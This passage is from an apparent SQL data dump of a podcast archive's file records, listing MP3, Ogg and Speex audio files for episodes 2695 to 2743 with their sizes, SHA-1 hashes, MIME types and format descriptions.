(2695,'hpr2695.mp3','mp3',7469712,'5ca3d7dbe9fecdc057946d609e78d8db889fc26b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2695,'hpr2695.ogg','ogg',8648761,'2195afc19b1902658fd1b8e0795e639e02319038','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2695,'hpr2695.spx','spx',3335724,'1ce1849df1e8fab1e9a5571260535e4cfac1560c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2696,'hpr2696.mp3','mp3',36239155,'214ed98a2ea4a8a4fb0279541afbf369cfdc7998','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2696,'hpr2696.ogg','ogg',35378289,'a702151db6536716338918d3ead20cb15658e306','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2696,'hpr2696.spx','spx',16184489,'e5cbe4dd087fe782e11f38e78c7b4557e076d57b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2697,'hpr2697.mp3','mp3',4290313,'7c93e026d27396512e865f8dc7fbfbc523ab865f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2697,'hpr2697.ogg','ogg',4580819,'d29fb9ac24de8576945699a5a76932f84a8aaef8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2697,'hpr2697.spx','spx',1915870,'449c48a9627b941c42fe16e19b4cd17f6cd9c08d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2698,'hpr2698.mp3','mp3',15791534,'23294652f6bbf5726f9e74d0ae7823b02dea2625','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2698,'hpr2698.ogg','ogg',16518995,'fb3f2cccb249c3f9039e0d4e0c308169fdcd8a54','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2698,'hpr2698.spx','spx',7052407,'79d8d6d8e902b4f1ccfea8ed83a20a26ee58566f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2699,'hpr2699.mp3','mp3',15434971,'f26060c94ed4140d8ee1d199b36287bc5326ba86','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2699,'hpr2699.ogg','ogg',17252827,'25e336e2a7366ed3887273b2705506bddda7deb8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2699,'hpr2699.spx','spx',6893150,'d4f90324fbb6c5a8bc9d5928bdeff325845f5cf2','application/ogg; charset=binary','Ogg data, Speex audio'),
(2700,'hpr2700.mp3','mp3',214933184,'9ddb2f24e877077906cd12f4bc65d8b227229114','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2700,'hpr2700.ogg','ogg',252553080,'b7186814829abea81a675b1d9747aeb395988738','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2700,'hpr2700.spx','spx',95991137,'6ce8b733848fbd369f3e33a64aaa6cdda3187e75','application/ogg; charset=binary','Ogg data, Speex audio'),
(2701,'hpr2701.mp3','mp3',16292226,'c1181e6bd8675ed3208befbb53c5a12d98d53c34','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2701,'hpr2701.ogg','ogg',15097690,'484b1a96a2163fe1de119247da3ab1365121b874','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2701,'hpr2701.spx','spx',7276045,'fe699b89496b3e6b154a71c05642b8daebb322c5','application/ogg; charset=binary','Ogg data, Speex audio'),
(2702,'hpr2702.mp3','mp3',1965009,'f0775d48de542d47e4062fbbd6914f233bc79542','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2702,'hpr2702.ogg','ogg',2207525,'baa468a46465e0037648624fc4e50fdadb0e6a0b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2702,'hpr2702.spx','spx',877299,'fda3b1ba30591c0f016feb2259a2247aa297d804','application/ogg; charset=binary','Ogg data, Speex audio'),
(2703,'hpr2703.mp3','mp3',13193476,'4ccb2b6ca8c34d4e2ba3d6fc51d7559921961f37','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2703,'hpr2703.ogg','ogg',12333452,'6faec1595e7519b431732a9d821360aff49ee1e2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2703,'hpr2703.spx','spx',5892061,'bb9e26e96cedd997a483c949869974ce09ef04b3','application/ogg; charset=binary','Ogg data, Speex audio'),
(2704,'hpr2704.mp3','mp3',19908630,'4bf8394a672af0f4818e0fed75fe864583de3dc9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2704,'hpr2704.ogg','ogg',22895535,'be64f74018ff64c5fc406ffbf7e18c9dfba0e776','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2704,'hpr2704.spx','spx',8891141,'c56d48ae63847afc4ec84df4980064d38ee7062b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2705,'hpr2705.mp3','mp3',9191717,'3c7584c1e614f8970e2ad91706f6bed391f6ff7b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2705,'hpr2705.ogg','ogg',10629582,'b8b8a7a1b49e4c3de8617c66af1aaf7f9fd12b73','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2705,'hpr2705.spx','spx',4104824,'5689bb9c10f3badefb4199b50335e3b00c7c3956','application/ogg; charset=binary','Ogg data, Speex audio'),
(2706,'hpr2706.mp3','mp3',16142628,'681dd7385696ced32744586fe1eca166475d718d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2706,'hpr2706.ogg','ogg',19123065,'4e41c78c85281e6bdce09be40485656ef58e2411','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2706,'hpr2706.spx','spx',7209260,'a2e4a59b6ab9a9177589f7a0772c1174014df48c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2707,'hpr2707.mp3','mp3',8454478,'e40e7094684e422b397207e37711689395cc3fa3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2707,'hpr2707.ogg','ogg',9588380,'5802de29be3a12f0e19c2321322f77d2f08b3dda','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2707,'hpr2707.spx','spx',3775590,'be67b6742e586ae8f9f22706f08b843d277c810e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2708,'hpr2708.mp3','mp3',11669371,'6603b0345cdaf716c445650b03140b6626678861','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2708,'hpr2708.ogg','ogg',13541815,'b6e528740bc26c157c50a3d8bb6f5e66be277d1b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2708,'hpr2708.spx','spx',5211395,'c5562fadad89fe01234e9ceda3212129c7505b9f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2709,'hpr2709.mp3','mp3',12594499,'f7610f0ae6f0b913fe5af1a9114813317a6445fe','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2709,'hpr2709.ogg','ogg',14122536,'0b8bb41d64648484f30ecadb9150e45f670370ff','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2709,'hpr2709.spx','spx',5624538,'c98bdee282b804a6bbd8a78768b18e09b83ecf05','application/ogg; charset=binary','Ogg data, Speex audio'),
(2710,'hpr2710.mp3','mp3',7848232,'b9d617fe16bb091d099141808018f83a0fb591ac','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2710,'hpr2710.ogg','ogg',8842473,'dd45aedf89c8c9c7603a10308381d0c85d0ed511','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2710,'hpr2710.spx','spx',3504847,'8d6bec5f6f27d2e0f6bc7459b2db0e520d405ad1','application/ogg; charset=binary','Ogg data, Speex audio'),
(2711,'hpr2711.mp3','mp3',4330484,'e84262669899185493ec35ea6b357ed3859e410f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2711,'hpr2711.ogg','ogg',4938466,'1721c730c3e2ecd2b798326128b4d91315bd687a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2711,'hpr2711.spx','spx',1933775,'2a1492c3b798db08922be75a203018a4c2683923','application/ogg; charset=binary','Ogg data, Speex audio'),
(2712,'hpr2712.mp3','mp3',11147333,'017b33c403ad1659cbf5ac53d75a4adf37f89ef3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2712,'hpr2712.ogg','ogg',12774886,'e8904a0f31be1ddf8259fda50c2ec0ff2b87c89d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2712,'hpr2712.spx','spx',4978230,'cb05089af95a5a1897e6ec807b1f5848b9642810','application/ogg; charset=binary','Ogg data, Speex audio'),
(2713,'hpr2713.mp3','mp3',11091344,'0e79aaeab7a8cff4783210f954d18701d8dd5e4a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2713,'hpr2713.ogg','ogg',10439924,'6835824833495d9036a89bcdbf0dbe924909024a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2713,'hpr2713.spx','spx',4953235,'b44278bfc4c0587eabfbd973c85e5bff6cebed42','application/ogg; charset=binary','Ogg data, Speex audio'),
(2714,'hpr2714.mp3','mp3',9594212,'529b33d1aef17bc5dca8f1435536551e7dcf7eba','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2714,'hpr2714.ogg','ogg',10495628,'4f2f42f5458d14ed991ca761cfb7cd7a88f05d89','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2714,'hpr2714.spx','spx',4284620,'f5d0e3019e36e551efc9efb7ba4e81d78c307772','application/ogg; charset=binary','Ogg data, Speex audio'),
(2715,'hpr2715.mp3','mp3',6020430,'37efb0543073e4a74235b04ed92e67522b5879e0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2715,'hpr2715.ogg','ogg',6315147,'a2578813f08e3b900b0acdb7b4761e7a1473b4c9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2715,'hpr2715.spx','spx',2688509,'764793e1fad94c0aac939c80bb09bf8cbd4c1040','application/ogg; charset=binary','Ogg data, Speex audio'),
(2716,'hpr2716.mp3','mp3',4369938,'00cb346704b4e3869b17ebe4b9374cb0d65f254e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2716,'hpr2716.ogg','ogg',5247929,'5f8a0447eac144a4392f3fda2a92b7921a300029','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2716,'hpr2716.spx','spx',1951377,'fbdfaa7c00f9a0bd98a9fa7b12a3a20d3e97f341','application/ogg; charset=binary','Ogg data, Speex audio'),
(2717,'hpr2717.mp3','mp3',6036741,'0e6deaa71e96b41861cb27ebad8a100ef6bb4da7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2717,'hpr2717.ogg','ogg',6783837,'b5b841bf8d5dac988d40bdd31842b6f406bf8afd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2717,'hpr2717.spx','spx',2695816,'d9d86b8d33733894b28fbb3fcd6f4a67a81f1145','application/ogg; charset=binary','Ogg data, Speex audio'),
(2718,'hpr2718.mp3','mp3',9519619,'ccdc9006894e9b1e23acf834d649627c559342d0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2718,'hpr2718.ogg','ogg',9906679,'078c7759eb3acb6024c388b5de9a9c1a68315f01','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2718,'hpr2718.spx','spx',4251331,'59a5584e5b03098919f31f2abdd7a04b5e46583d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2719,'hpr2719.mp3','mp3',17533337,'37e46280bad2220b8df7ba9502f4d4978d6eee7a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2719,'hpr2719.ogg','ogg',19396932,'4289096b206a932b2dbae1ee073dc2cb9eb253b9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2719,'hpr2719.spx','spx',7830267,'6c6ed17ec71ce0997758e171dfb5a1ef2c01b059','application/ogg; charset=binary','Ogg data, Speex audio'),
(2720,'hpr2720.mp3','mp3',12671505,'20acd4244babe6257df66873130077f447bf76f7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2720,'hpr2720.ogg','ogg',14304359,'11bcbf0aa65875dfb3d0fcf8faa92adf683d8cf9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2720,'hpr2720.spx','spx',5659034,'61b6150376047e64c0358c92b77c7551574e081f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2721,'hpr2721.mp3','mp3',35112337,'3d60ab1d532ec7e0b19928f370ab27e58b214cf1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2721,'hpr2721.ogg','ogg',34837132,'3967ec9c751d70ae23c58692278b7c3b467b93c3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2721,'hpr2721.spx','spx',15681294,'391b65da73802a970669500b65dc60f8d8c24ea7','application/ogg; charset=binary','Ogg data, Speex audio'),
(2722,'hpr2722.mp3','mp3',2264425,'d741a48be16e2aeb0952e66bd8697c6ff4c52b4e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2722,'hpr2722.ogg','ogg',2440305,'73ba0bd74dbac87d52987e1d88f1df1b22a4b23b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2722,'hpr2722.spx','spx',1011022,'aca9049348038801d31da96cee71184c5314e63c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2723,'hpr2723.mp3','mp3',22457762,'b840752007fdfbd68483c62b9c8640c6991bc9fa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2723,'hpr2723.ogg','ogg',20849988,'e803617562bc39a736d8f9c97a3b61d4b1bd47b8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2723,'hpr2723.spx','spx',10029601,'a7674e5ec385e4c7695803983b0648cffc0f76f3','application/ogg; charset=binary','Ogg data, Speex audio'),
(2724,'hpr2724.mp3','mp3',5488846,'8974902920dd5aa5b672eb46936d7929ee611037','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2724,'hpr2724.ogg','ogg',6224185,'5038cebf2d2c9abf75e4aba4c29d4d1ced8146f2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2724,'hpr2724.spx','spx',2451195,'97f56b49f90374b20eabe34ee5292d330283b20b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2725,'hpr2725.mp3','mp3',7569209,'ebe5b748ecc63e749d21ed94fe58572952c445b9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2725,'hpr2725.ogg','ogg',8166338,'515bac9150493ffe0efceba77888fe344b263938','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2725,'hpr2725.spx','spx',3380178,'8c51fe4d73c11399759e3450bf642eecea9a6324','application/ogg; charset=binary','Ogg data, Speex audio'),
(2726,'hpr2726.mp3','mp3',11093079,'0e35351c6f495a3383377935998a58a3d0c7f022','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2726,'hpr2726.ogg','ogg',12567948,'7f0489666bc1d84089ec27a7144ecca64655c611','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2726,'hpr2726.spx','spx',4954009,'c22e06981331f83abd9465deb9f912299d134583','application/ogg; charset=binary','Ogg data, Speex audio'),
(2727,'hpr2727.mp3','mp3',4816491,'16ad71e7c7568f6b707e83505e1024d960d7b6d7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2727,'hpr2727.ogg','ogg',5398625,'c611b788aeb1c8cc0c970876e95b75a07aa9820f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2727,'hpr2727.spx','spx',2150798,'dec7e59a27f6ea902927caee87c987e7bf6f092d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2728,'hpr2728.mp3','mp3',7626292,'5bd1033ee267920c1a6629cfa529f7db9ecd51ca','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2728,'hpr2728.ogg','ogg',7950086,'28433f630a59aa27d4a9ee474b3ae323495286e2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2728,'hpr2728.spx','spx',3405718,'6fee46e7e2119d8a7164c1d10952ba5973262e45','application/ogg; charset=binary','Ogg data, Speex audio'),
(2729,'hpr2729.mp3','mp3',16270473,'96c13c63f53aea417176262e49cab3640ec66f24','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2729,'hpr2729.ogg','ogg',18062849,'a7350c8542975fefdd87a5e3c0526da7e95a8929','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2729,'hpr2729.spx','spx',7266245,'5be83d0f7da8b7bd22fe2ef97fba992aee6922ec','application/ogg; charset=binary','Ogg data, Speex audio'),
(2730,'hpr2730.mp3','mp3',6598750,'8451756651e222d929a7394cc804b33cad25f45f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2730,'hpr2730.ogg','ogg',7299073,'db1c0a2fc4ce93805670dec845bfbb76b2d0e1d8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2730,'hpr2730.spx','spx',2946824,'4a41b383d80b5d64f96fbf39cf61c1cb405d6895','application/ogg; charset=binary','Ogg data, Speex audio'),
(2731,'hpr2731.mp3','mp3',13717194,'d38986c967c888930805322fdc43c9650ecfec66','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2731,'hpr2731.ogg','ogg',15025096,'f3e79f06be223835089523dffdb565d2c7c90d83','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2731,'hpr2731.spx','spx',6125944,'d36a9e2811ac3c70296aa11e92585c0fe8d5ed26','application/ogg; charset=binary','Ogg data, Speex audio'),
(2732,'hpr2732.mp3','mp3',13834203,'d3aec83fec60ee7dd6d71db9aea90594b7fcee9b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2732,'hpr2732.ogg','ogg',16096600,'ef7142e42136e176b599adcabaa51a3d8c2bcf2f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2732,'hpr2732.spx','spx',6178247,'86f7df45eecd306dd3f6a044a73d2234f02cc521','application/ogg; charset=binary','Ogg data, Speex audio'),
(2733,'hpr2733.mp3','mp3',23801756,'46ad3be01b1377c9dc6af8b2190c0e222a9feeae','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2733,'hpr2733.ogg','ogg',22069078,'fd5cc158e8039899a48baa257d9d31eb23e04855','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2733,'hpr2733.spx','spx',10629909,'0062092ca811fc211a13a17dfbe36bca5e3b1aa1','application/ogg; charset=binary','Ogg data, Speex audio'),
(2734,'hpr2734.mp3','mp3',10181657,'2879520292134edfad393677f4a7cfffcc0ae480','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2734,'hpr2734.ogg','ogg',12796105,'adbc09f56d2c3b915990931937736adafcfc1cf1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2734,'hpr2734.spx','spx',4546939,'15b68cfd1d49b6e06a67d98550ae954b304e253e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2735,'hpr2735.mp3','mp3',2187551,'654bf1c1e892a70d84475e6682c9e7e554ce7eb1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2735,'hpr2735.ogg','ogg',2443214,'ac2102ade81237837c9c96d2578989b08c19d023','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2735,'hpr2735.spx','spx',976687,'a571531c15c3f91db5fa640e76b6322704971f05','application/ogg; charset=binary','Ogg data, Speex audio'),
(2736,'hpr2736.mp3','mp3',9928787,'abde313d76965e90538838efcfca8a2361c104d8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2736,'hpr2736.ogg','ogg',11158042,'13fcf46705d6b44a8d880b11b5bca26011658585','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2736,'hpr2736.spx','spx',4433954,'70a25e0a3485676e4603be23922b95b188b35aa1','application/ogg; charset=binary','Ogg data, Speex audio'),
(2737,'hpr2737.mp3','mp3',12129143,'d7cc2cb137a25042b5c261590ee22cd3c3f16cb0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2737,'hpr2737.ogg','ogg',13473302,'b0e3378bbc18a5c5f1a2184620daf347d469d33f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2737,'hpr2737.spx','spx',5416718,'13b2c24b6a9b749053ec00990add9fd8d2e880c8','application/ogg; charset=binary','Ogg data, Speex audio'),
(2738,'hpr2738.mp3','mp3',2915661,'456af558dbf7a268a6d27e3372d4afbbe90e2aad','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2738,'hpr2738.ogg','ogg',3248891,'9e96de2274d1aaa97f646bb60c33571ca08ac497','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2738,'hpr2738.spx','spx',1301912,'454355c49f050b441b1a41b7715442b226f0ebcc','application/ogg; charset=binary','Ogg data, Speex audio'),
(2739,'hpr2739.mp3','mp3',13509017,'9e9f26855cd934c83ca3ff5269199681fbea0885','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2739,'hpr2739.ogg','ogg',15144122,'374c48e18cedaac2b766a1f8cd34b0439bc02097','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2739,'hpr2739.spx','spx',6032946,'874a4d1110abfc3c7222413db9c12d6207cbcd72','application/ogg; charset=binary','Ogg data, Speex audio'),
(2740,'hpr2740.mp3','mp3',4597761,'eda6224de494f69240cd6ae2cd591213ee3d75de','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2740,'hpr2740.ogg','ogg',5315188,'a1cf0d7dd7d38b5ac4ceebf273ea39a7b9f8ede6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2740,'hpr2740.spx','spx',2053164,'0a4698f3df9672afb05fd53cbe8a525d2c761673','application/ogg; charset=binary','Ogg data, Speex audio'),
(2741,'hpr2741.mp3','mp3',37920608,'3bfea10c7beaa6b9c49fd32bf072e19670cd0731','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2741,'hpr2741.ogg','ogg',38416495,'f4c91c196aa9260533b247f9f679575c8bb40baf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2741,'hpr2741.spx','spx',16935438,'59bf585c01bf5558556a7c7fc62eac83e019ed91','application/ogg; charset=binary','Ogg data, Speex audio'),
(2742,'hpr2742.mp3','mp3',9752395,'516be365c17a8183fa14f69d75e750e8f18e421b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2742,'hpr2742.ogg','ogg',10025431,'fd033b746d83fb3dccb323fc54784a91112723ab','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2742,'hpr2742.spx','spx',4355257,'9b903c2506935cbee9b2aa89f757c8463a403f10','application/ogg; charset=binary','Ogg data, Speex audio'),
(2743,'hpr2743.mp3','mp3',31903857,'19684022e18718b60bedbd1f206399fea3c3f2ff','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
